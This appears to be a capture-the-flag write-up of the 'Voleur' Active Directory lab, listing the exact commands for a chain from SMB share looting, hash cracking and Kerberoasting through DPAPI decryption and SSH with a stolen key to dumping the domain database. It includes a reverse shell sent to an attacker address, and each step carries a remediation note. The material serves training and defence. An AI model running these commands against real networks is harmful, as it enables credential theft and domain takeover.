Voleur
Summary
Starting from a single set of assumed-breach domain credentials, my read a non-default SMB share and pulled an encrypted spreadsheet whose password cracked offline to reveal two service-account credentials and a note about a deleted employee account. Domain reconnaissance showed one of those service accounts could write a Service Principal Name onto another, turning it into a target for offline Kerberos ticket cracking and yielding a WinRM foothold.
From there, I reused a recovered password to briefly become the more privileged service account, restored the deleted employee's AD object from the Recycle Bin, and decrypted that employee's saved Windows credential (DPAPI) to obtain a third account's password. That account's file share held an unprotected SSH private key for a Linux subsystem running on the domain controller itself; SSH access to it exposed the domain's backup files outside normal Windows permissions, yielding a full copy of the Active Directory database and the domain's password hashes — including the Administrator's — for complete domain takeover.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 5
echo "$TARGET dc.voleur.htb voleur.htb" | sudo tee -a /etc/hostssudo ntpdate dc.voleur.htbgetTGT.py voleur.htb/ryan.naylor:$PASSWORD2 -dc-ip $TARGETexport KRB5CCNAME=ryan.naylor.ccachesmbclient.py -k -no-pass voleur.htb/ryan.naylor@dc.voleur.htbFixRemove sensitive credentials from shared documents and restrict the 'IT' shareHigh
Exact commands 2
office2john Access_Review.xlsx > access_review.hashhashcat -m 9600 access_review.hash /usr/share/wordlists/rockyou.txtExact commands 5
bloodhound-python -k -u svc_ldap -p $PASSWORD3 -d voleur.htb -ns $TARGET -c AllbloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD3 set object svc_winrm servicePrincipalName -v 'http/x'netexec ldap dc.voleur.htb -u svc_ldap -p $PASSWORD3 -k --kerberoasting out.txthashcat -m 13100 out.txt /usr/share/wordlists/rockyou.txtbloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD3 remove object svc_winrm servicePrincipalName -v 'http/x'FixRemove unnecessary WriteSPN delegation and enforce strong service-account passwordsHigh
Exact commands 5
getTGT.py voleur.htb/svc_winrm:'$PASSWORD7' -dc-ip $TARGETexport KRB5CCNAME=svc_winrm.ccacheevil-winrm -i dc.voleur.htb -r voleur.htbwhoamitype C:\Users\svc_winrm\Desktop\user.txtExact commands 3
.\RunasCs.exe svc_ldap $PASSWORD3 powershell -r $ATTACKER_IP:443Get-ADObject -Filter 'displayName -eq "todd.wolfe"' -IncludeDeletedObjects -Properties *Restore-ADObject -Identity <objectGUID>FixRestrict AD Recycle Bin restore rights to Tier-0 administratorsHigh
Exact commands 2
dpapi.py masterkey -file '<path to Protect\<SID>\masterkey>' -sid <SID> -password $PASSWORD6dpapi.py credential -file '<path to Credentials blob>' -key 0x<decrypted_masterkey>FixPurge credential material from deprovisioned/archived user profilesMedium
Exact commands 3
evil-winrm -i dc.voleur.htb -r voleur.htb (as jeremy.combs, Kerberos)ssh -i id_rsa -p 2222 svc_backup@$TARGETid; hostnameFixNever store private SSH keys in general-access file sharesHigh
Exact commands 3
ls -l '/mnt/c/IT/Third-Line Support/Backups'scp -P 2222 -i id_rsa svc_backup@$TARGET:'/mnt/c/IT/Third-Line Support/Backups/{ntds.dit,SYSTEM,SECURITY}' .secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCALFixStop storing AD database backups where WSL or other non-Windows-ACL-aware access can reach themCritical
Exact commands 4
getTGT.py voleur.htb/administrator -hashes :$PASSWORD8 -dc-ip $TARGETexport KRB5CCNAME=administrator.ccachewmiexec.py -k -no-pass voleur.htb/administrator@dc.voleur.htbwhoami && type C:\Users\Administrator\Desktop\root.txtExposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 2222/tcp | unknown recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49675/tcp | unknown recon-sweep-discovered |
| 53181/tcp | unknown recon-sweep-discovered |
| 53187/tcp | unknown recon-sweep-discovered |
| 53207/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |